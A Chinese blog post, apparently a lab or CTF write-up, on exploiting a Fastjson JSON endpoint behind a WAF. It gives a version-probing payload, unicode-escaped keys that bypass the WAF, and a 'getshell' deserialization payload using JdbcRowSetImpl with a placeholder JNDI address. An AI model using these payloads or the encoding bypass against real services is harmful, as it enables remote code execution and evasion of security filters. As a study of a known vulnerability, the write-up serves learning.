1247-jndi-waf

1247-jndi-waf

复现#

1.判断#

既然是Json格式自然优先尝试是否是Fastjson.
判断是否为Fastjson:删掉末尾的}或添加",使其解析报错,这样就代表的使用的是 fastjson。
img

2.查看版本#

接下来就是探测版本.
有两种方法,通过报错和Dnslog.

{
  "@type":"java.lang.AutoCloseable"

img

从返回包可以发现有 waf 拦截,但是Fastjson本身是默认识别并解码hex和unicode编码的,所以可以利用这个特性绕过。

{
  "\u0040\u0074\u0079\u0070\u0065":
"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0041\u0075\u0074\u006f\u0043\u006c\u006f\u0073\u0065\u0061\u0062\u006c\u0065"

getshell#

{{
    "a":{
        "\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073",
        "\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"
    },
    "b":{
        "\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c",
        "\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"You_payload_is_here",
      "\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":"\u0074\u0072\u0075\u0065"
    }
}

img

img

img

作者:qianyuzz

出处:https://www.cnblogs.com/qianyuzz/p/17999057

版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。

posted @   qianyuzz  阅读(66)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
more_horiz
keyboard_arrow_up dark_mode palette
选择主题
menu
点击右上角即可分享
微信分享提示